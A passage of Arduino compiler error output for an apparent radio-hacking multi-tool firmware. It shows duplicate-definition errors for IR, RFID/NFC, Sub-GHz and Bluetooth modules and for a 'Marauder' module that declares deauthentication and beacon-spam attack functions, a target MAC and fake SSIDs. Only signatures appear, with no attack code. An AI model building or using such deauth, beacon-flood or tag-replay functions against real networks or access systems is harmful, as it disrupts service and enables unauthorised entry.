97 | void navigateIRLeftRight(int direction) {
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:103:6: error: redefinition of 'void HandleselectIROption(int)'
103 | void HandleselectIROption(int selectIROption) {
| ^~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:103:6: note: 'void HandleselectIROption(int)' previously defined here
103 | void HandleselectIROption(int selectIROption) {
| ^~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:122:6: error: redefinition of 'void displayIRMenu()'
122 | void displayIRMenu() {
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:122:6: note: 'void displayIRMenu()' previously defined here
122 | void displayIRMenu() {
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:143:6: error: redefinition of 'void receiveIRSignal()'
143 | void receiveIRSignal() {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:143:6: note: 'void receiveIRSignal()' previously defined here
143 | void receiveIRSignal() {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:190:6: error: redefinition of 'void saveIRSignal(String)'
190 | void saveIRSignal(String name) {
| ^~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:190:6: note: 'void saveIRSignal(String)' previously defined here
190 | void saveIRSignal(String name) {
| ^~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:206:6: error: redefinition of 'void savedFilesIR()'
206 | void savedFilesIR() {
| ^~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:206:6: note: 'void savedFilesIR()' previously defined here
206 | void savedFilesIR() {
| ^~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:272:6: error: redefinition of 'void emulateSavedSignal(String)'
272 | void emulateSavedSignal(String fileName) {
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:272:6: note: 'void emulateSavedSignal(String)' previously defined here
272 | void emulateSavedSignal(String fileName) {
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:304:6: error: redefinition of 'void universalRemote()'
304 | void universalRemote() {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:304:6: note: 'void universalRemote()' previously defined here
304 | void universalRemote() {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:344:6: error: redefinition of 'void showIRKeyboard()'
344 | void showIRKeyboard() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:344:6: note: 'void showIRKeyboard()' previously defined here
344 | void showIRKeyboard() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\IR_mode.ino:363:6: error: redefinition of 'void handleIRKeyboardInput()'
363 | void handleIRKeyboardInput() {
| ^~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/IR_mode.ino:363:6: note: 'void handleIRKeyboardInput()' previously defined here
363 | void handleIRKeyboardInput() {
| ^~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:24:13: error: redefinition of 'const char* marauderMenuOptions []'
24 | const char* marauderMenuOptions[] = { "Deauth Attack", "Beacon Attack", "Stop Attack" };
| ^~~~~~~~~~~~~~~~~~~
In file included from D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Main_menu.ino:10:
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:24:13: note: 'const char* marauderMenuOptions [3]' previously defined here
24 | const char* marauderMenuOptions[] = { "Deauth Attack", "Beacon Attack", "Stop Attack" };
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:25:11: error: redefinition of 'const int marauderMenuOptionsCount'
25 | const int marauderMenuOptionsCount = sizeof(marauderMenuOptions) / sizeof(marauderMenuOptions[0]);
| ^~~~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:25:11: note: 'const int marauderMenuOptionsCount' previously defined here
25 | const int marauderMenuOptionsCount = sizeof(marauderMenuOptions) / sizeof(marauderMenuOptions[0]);
| ^~~~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:26:5: error: redefinition of 'int marauderMenuOption'
26 | int marauderMenuOption;
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:26:5: note: 'int marauderMenuOption' previously declared here
26 | int marauderMenuOption;
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:31:13: error: redefinition of 'const char* ssidList [5]'
31 | const char* ssidList[5] = { "Free_WiFi", "CoffeeShop", "MyHomeNetwork", "ESP_Hack", "Test_AP" };
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:31:13: note: 'const char* ssidList [5]' previously defined here
31 | const char* ssidList[5] = { "Free_WiFi", "CoffeeShop", "MyHomeNetwork", "ESP_Hack", "Test_AP" };
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:32:5: error: redefinition of 'int totalSSIDs'
32 | int totalSSIDs = sizeof(ssidList) / sizeof(ssidList[0]);
| ^~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:32:5: note: 'int totalSSIDs' previously defined here
32 | int totalSSIDs = sizeof(ssidList) / sizeof(ssidList[0]);
| ^~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:35:6: error: redefinition of 'bool attackRunning'
35 | bool attackRunning = false;
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:35:6: note: 'bool attackRunning' previously defined here
35 | bool attackRunning = false;
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:36:6: error: redefinition of 'bool deauthRunning'
36 | bool deauthRunning = false;
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:36:6: note: 'bool deauthRunning' previously defined here
36 | bool deauthRunning = false;
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:37:6: error: redefinition of 'bool beaconRunning'
37 | bool beaconRunning = false;
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:37:6: note: 'bool beaconRunning' previously defined here
37 | bool beaconRunning = false;
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:38:8: error: redefinition of 'String targetMac'
38 | String targetMac = "00:11:22:33:44:55"; // Target MAC for deauth attack
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:38:8: note: 'String targetMac' previously declared here
38 | String targetMac = "00:11:22:33:44:55"; // Target MAC for deauth attack
| ^~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:40:6: error: redefinition of 'void Initmarauder()'
40 | void Initmarauder() {
| ^~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:40:6: note: 'void Initmarauder()' previously defined here
40 | void Initmarauder() {
| ^~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:52:6: error: redefinition of 'void displaymarauderMenu()'
52 | void displaymarauderMenu() {
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:52:6: note: 'void displaymarauderMenu()' previously defined here
52 | void displaymarauderMenu() {
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:69:6: error: redefinition of 'void MarauderMode()'
69 | void MarauderMode() {
| ^~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:69:6: note: 'void MarauderMode()' previously defined here
69 | void MarauderMode() {
| ^~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:99:6: error: redefinition of 'void startDeauthAttack()'
99 | void startDeauthAttack() {
| ^~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:99:6: note: 'void startDeauthAttack()' previously defined here
99 | void startDeauthAttack() {
| ^~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:114:6: error: redefinition of 'void startBeaconAttack()'
114 | void startBeaconAttack() {
| ^~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:114:6: note: 'void startBeaconAttack()' previously defined here
114 | void startBeaconAttack() {
| ^~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:129:6: error: redefinition of 'void stopMarauderMode()'
129 | void stopMarauderMode() {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:129:6: note: 'void stopMarauderMode()' previously defined here
129 | void stopMarauderMode() {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:145:6: error: redefinition of 'void sendBeaconAttack()'
145 | void sendBeaconAttack() {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:145:6: note: 'void sendBeaconAttack()' previously defined here
145 | void sendBeaconAttack() {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:156:6: error: redefinition of 'void createBeaconPacket(uint8_t*, const char*)'
156 | void createBeaconPacket(uint8_t* packet, const char* ssid) {
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:156:6: note: 'void createBeaconPacket(uint8_t*, const char*)' previously defined here
156 | void createBeaconPacket(uint8_t* packet, const char* ssid) {
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Marauder_mode.ino:182:6: error: redefinition of 'void deauthAttack()'
182 | void deauthAttack() {
| ^~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Marauder_mode.ino:182:6: note: 'void deauthAttack()' previously defined here
182 | void deauthAttack() {
| ^~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:38:16: error: redefinition of 'Adafruit_PN532 nfc'
38 | Adafruit_PN532 nfc(SDA_PIN,SCL_PIN);
| ^~~
In file included from D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Main_menu.ino:8:
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:38:16: note: 'Adafruit_PN532 nfc' previously declared here
38 | Adafruit_PN532 nfc(SDA_PIN,SCL_PIN);
| ^~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:43:5: error: redefinition of 'int selectRfidOption'
43 | int selectRfidOption = 0;
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:43:5: note: 'int selectRfidOption' previously defined here
43 | int selectRfidOption = 0;
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:53:5: error: redefinition of 'int parseUID(String, uint8_t*)'
53 | int parseUID(String uidData, uint8_t *uid) {
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:53:5: note: 'int parseUID(String, uint8_t*)' previously defined here
53 | int parseUID(String uidData, uint8_t *uid) {
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:70:6: error: redefinition of 'void Initnfc()'
70 | void Initnfc() {
| ^~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:70:6: note: 'void Initnfc()' previously defined here
70 | void Initnfc() {
| ^~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:85:6: error: redefinition of 'void NFCMode()'
85 | void NFCMode() {
| ^~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:85:6: note: 'void NFCMode()' previously defined here
85 | void NFCMode() {
| ^~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:119:6: error: redefinition of 'void navigateRfidMenu(int)'
119 | void navigateRfidMenu(int direction) {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:119:6: note: 'void navigateRfidMenu(int)' previously defined here
119 | void navigateRfidMenu(int direction) {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:125:6: error: redefinition of 'void navigateRfidLeftRight(int)'
125 | void navigateRfidLeftRight(int direction) {
| ^~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:125:6: note: 'void navigateRfidLeftRight(int)' previously defined here
125 | void navigateRfidLeftRight(int direction) {
| ^~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:131:6: error: redefinition of 'void HandleselectRfidOption(int)'
131 | void HandleselectRfidOption(int selectRfidOption) {
| ^~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:131:6: note: 'void HandleselectRfidOption(int)' previously defined here
131 | void HandleselectRfidOption(int selectRfidOption) {
| ^~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:146:6: error: redefinition of 'void displayRfidMenu(const char*)'
146 | void displayRfidMenu(const char* menuTitle) {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:146:6: note: 'void displayRfidMenu(const char*)' previously defined here
146 | void displayRfidMenu(const char* menuTitle) {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:174:6: error: redefinition of 'void recieveRfidSignal()'
174 | void recieveRfidSignal() {
| ^~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:174:6: note: 'void recieveRfidSignal()' previously defined here
174 | void recieveRfidSignal() {
| ^~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:203:6: error: redefinition of 'void displayRfidSubMenu(const char*)'
203 | void displayRfidSubMenu(const char *message) {
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:203:6: note: 'void displayRfidSubMenu(const char*)' previously defined here
203 | void displayRfidSubMenu(const char *message) {
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:214:6: error: redefinition of 'void displayTagDetails(uint8_t*, uint8_t)'
214 | void displayTagDetails(uint8_t *uid, uint8_t uidLength) {
| ^~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:214:6: note: 'void displayTagDetails(uint8_t*, uint8_t)' previously defined here
214 | void displayTagDetails(uint8_t *uid, uint8_t uidLength) {
| ^~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:227:6: error: redefinition of 'bool waitForButton(int)'
227 | bool waitForButton(int buttonPin) {
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:227:6: note: 'bool waitForButton(int)' previously defined here
227 | bool waitForButton(int buttonPin) {
| ^~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:236:6: error: redefinition of 'void saveTag(uint8_t*, uint8_t, String)'
236 | void saveTag(uint8_t *uid, uint8_t uidLength, String name) {
| ^~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:236:6: note: 'void saveTag(uint8_t*, uint8_t, String)' previously defined here
236 | void saveTag(uint8_t *uid, uint8_t uidLength, String name) {
| ^~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:266:6: error: redefinition of 'void emulateTag(uint8_t*, uint8_t)'
266 | void emulateTag(uint8_t *uid, uint8_t uidLength) {
| ^~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:266:6: note: 'void emulateTag(uint8_t*, uint8_t)' previously defined here
266 | void emulateTag(uint8_t *uid, uint8_t uidLength) {
| ^~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:274:6: error: redefinition of 'void savedFilesRfid()'
274 | void savedFilesRfid() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:274:6: note: 'void savedFilesRfid()' previously defined here
274 | void savedFilesRfid() {
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:341:6: error: redefinition of 'void emulateSavedTag(String)'
341 | void emulateSavedTag(String fileName) {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:341:6: note: 'void emulateSavedTag(String)' previously defined here
341 | void emulateSavedTag(String fileName) {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:409:6: error: redefinition of 'void showRfidKeyboard()'
409 | void showRfidKeyboard() {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:409:6: note: 'void showRfidKeyboard()' previously defined here
409 | void showRfidKeyboard() {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Rfid-Nfc_mode.ino:427:6: error: redefinition of 'void handleRfidKeyboardInput()'
427 | void handleRfidKeyboardInput() {
| ^~~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/Rfid-Nfc_mode.ino:427:6: note: 'void handleRfidKeyboardInput()' previously defined here
427 | void handleRfidKeyboardInput() {
| ^~~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:35:8: error: redefinition of 'String receivedSubGhzSignal'
35 | String receivedSubGhzSignal = ""; // Holds the received Sub-GHz signal
| ^~~~~~~~~~~~~~~~~~~~
In file included from D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Main_menu.ino:7:
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:35:8: note: 'String receivedSubGhzSignal' previously declared here
35 | String receivedSubGhzSignal = ""; // Holds the received Sub-GHz signal
| ^~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:44:5: error: redefinition of 'int selectSubGHzOption'
44 | int selectSubGHzOption = 0;
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:44:5: note: 'int selectSubGHzOption' previously defined here
44 | int selectSubGHzOption = 0;
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:49:6: error: redefinition of 'void configureCC1101()'
49 | void configureCC1101() {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:49:6: note: 'void configureCC1101()' previously defined here
49 | void configureCC1101() {
| ^~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:66:6: error: redefinition of 'void InitSubGHz()'
66 | void InitSubGHz() {
| ^~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:66:6: note: 'void InitSubGHz()' previously defined here
66 | void InitSubGHz() {
| ^~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:78:6: error: redefinition of 'void SubGHzMode()'
78 | void SubGHzMode() {
| ^~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:78:6: note: 'void SubGHzMode()' previously defined here
78 | void SubGHzMode() {
| ^~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:112:6: error: redefinition of 'void navigateSubGHzMenu(int)'
112 | void navigateSubGHzMenu(int direction) {
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:112:6: note: 'void navigateSubGHzMenu(int)' previously defined here
112 | void navigateSubGHzMenu(int direction) {
| ^~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:118:6: error: redefinition of 'void navigateSubGHzLeftRight(int)'
118 | void navigateSubGHzLeftRight(int direction) {
| ^~~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:118:6: note: 'void navigateSubGHzLeftRight(int)' previously defined here
118 | void navigateSubGHzLeftRight(int direction) {
| ^~~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:124:6: error: redefinition of 'void HandleselectSubGHzOption(int)'
124 | void HandleselectSubGHzOption(int selectSubGHzOption) {
| ^~~~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:124:6: note: 'void HandleselectSubGHzOption(int)' previously defined here
124 | void HandleselectSubGHzOption(int selectSubGHzOption) {
| ^~~~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:140:6: error: redefinition of 'void displaySubGHzMenu()'
140 | void displaySubGHzMenu() {
| ^~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:140:6: note: 'void displaySubGHzMenu()' previously defined here
140 | void displaySubGHzMenu() {
| ^~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:162:6: error: redefinition of 'void receiveSubGhzSignal()'
162 | void receiveSubGhzSignal() {
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:162:6: note: 'void receiveSubGhzSignal()' previously defined here
162 | void receiveSubGhzSignal() {
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:190:6: error: redefinition of 'void saveOrEmulateSubGhz()'
190 | void saveOrEmulateSubGhz() {
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:190:6: note: 'void saveOrEmulateSubGhz()' previously defined here
190 | void saveOrEmulateSubGhz() {
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:211:6: error: redefinition of 'void emulateSubGhzSignal(String)'
211 | void emulateSubGhzSignal(String signal) {
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:211:6: note: 'void emulateSubGhzSignal(String)' previously defined here
211 | void emulateSubGhzSignal(String signal) {
| ^~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:226:6: error: redefinition of 'void saveSubGhzSignal(String, String)'
226 | void saveSubGhzSignal(String name, String signal) {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:226:6: note: 'void saveSubGhzSignal(String, String)' previously defined here
226 | void saveSubGhzSignal(String name, String signal) {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:242:6: error: redefinition of 'void savedFilesSubGHz()'
242 | void savedFilesSubGHz() {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:242:6: note: 'void savedFilesSubGHz()' previously defined here
242 | void savedFilesSubGHz() {
| ^~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\SubGhz_mode.ino:281:6: error: redefinition of 'void handleSubGHzKeyboardInput()'
281 | void handleSubGHzKeyboardInput() {
| ^~~~~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/SubGHz_mode.ino:281:6: note: 'void handleSubGHzKeyboardInput()' previously defined here
281 | void handleSubGHzKeyboardInput() {
| ^~~~~~~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:35:13: error: redefinition of 'BleKeyboard bleKeyboard'
35 | BleKeyboard bleKeyboard;
| ^~~~~~~~~~~
In file included from D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\Main_menu.ino:11:
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:35:13: note: 'BleKeyboard bleKeyboard' previously declared here
35 | BleKeyboard bleKeyboard;
| ^~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:36:10: error: redefinition of 'BleMouse bleMouse'
36 | BleMouse bleMouse;
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:36:10: note: 'BleMouse bleMouse' previously declared here
36 | BleMouse bleMouse;
| ^~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:39:6: error: redefinition of 'bool bluetoothModeRunning'
39 | bool bluetoothModeRunning = false;
| ^~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:39:6: note: 'bool bluetoothModeRunning' previously defined here
39 | bool bluetoothModeRunning = false;
| ^~~~~~~~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:40:6: error: redefinition of 'bool isKeyboardMode'
40 | bool isKeyboardMode = false;
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:40:6: note: 'bool isKeyboardMode' previously defined here
40 | bool isKeyboardMode = false;
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:41:6: error: redefinition of 'bool isMouseMode'
41 | bool isMouseMode = false;
| ^~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:41:6: note: 'bool isMouseMode' previously defined here
41 | bool isMouseMode = false;
| ^~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:42:5: error: redefinition of 'int mainMenuOption'
42 | int mainMenuOption;
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu/bluetooth_mode.ino:42:5: note: 'int mainMenuOption' previously declared here
42 | int mainMenuOption;
| ^~~~~~~~~~~~~~
D:\Users\Joel\reaper one\reaper 1 moduled\Main_menu\bluetooth_mode.ino:44:5: error: redefinition of 'int selectBLEOption'
44 | int selectBLEOption = 0;
| ^~~~~~~~~~~~~~~
